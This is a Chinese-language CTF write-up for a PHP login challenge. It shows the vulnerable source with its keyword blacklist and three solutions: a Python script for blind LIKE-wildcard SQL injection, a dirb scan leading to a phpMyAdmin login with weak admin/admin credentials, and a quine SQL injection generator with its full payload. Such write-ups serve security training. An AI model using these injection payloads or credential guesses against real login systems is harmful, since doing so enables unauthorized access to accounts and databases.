题目链接

解法一

页面源码

源码提示 ?source=1 查看

1
<!-- /?source -->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

可见查询语句

1
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
  • 过滤了空格和等号
  • 查询成功显示wrong password 失败显示 something wrong

sql注入

可以通过%通配符一位一位爆破

1
[post] username=admin&password=1'/**/or/**/password/**/like/**/'e%'%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
alpha = string.hexdigits
pswd = ''

while True:
flag = True
for i in alpha:
post_data = {"username": "admin",
"password": f"1'/**/or/**/password/**/like/**/'{pswd + i}%'#"}
response = requests.post("http://node4.anna.nssctf.cn:28624/", data=post_data)
time.sleep(0.1)
if "something" not in response.text:
pswd += i
print(pswd)
flag = False
break

if flag:
break
# eb2d018ac00e7d6dbe8eb7059df0a4b2
post_data = {"username": "admin",
"password": f"{pswd}"}
response = requests.post("http://node4.anna.nssctf.cn:28624/", data=post_data) # 登入获取flag
print(response.text)

解法二

dirb后台爆破

发现phpmyadmin

1
2
3
4
> dirb [url]
<
+ http://node4.anna.nssctf.cn:28632/index.php (CODE:200|SIZE:323)
==> DIRECTORY: http://node4.anna.nssctf.cn:28632/phpmyadmin/

访问phpmyadmin

  • 发现是sql登录界面 弱口令admin admin登录成功

  • 查看ctf数据库中users table 获取admin密码

  • 登录获取flag

解法三

quine注入

quine注入:sql命令的输入和执行后的输出完全相同,以此通过 $row['password'] === $password

https://www.shysecurity.com/post/20140705-SQLi-Quine

从三道赛题再谈Quine trick-安全客 - 安全资讯平台 (anquanke.com)

[Quine Injection](https://goodlunatic.github.io/2023/07/04/Quine Injection/)

1
2
3
4
5
6
7
8
9
10
11
12
13
# quine 生成脚本
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)")
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(!!)#"
quine(data)
1
password=1'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
⬆︎TOP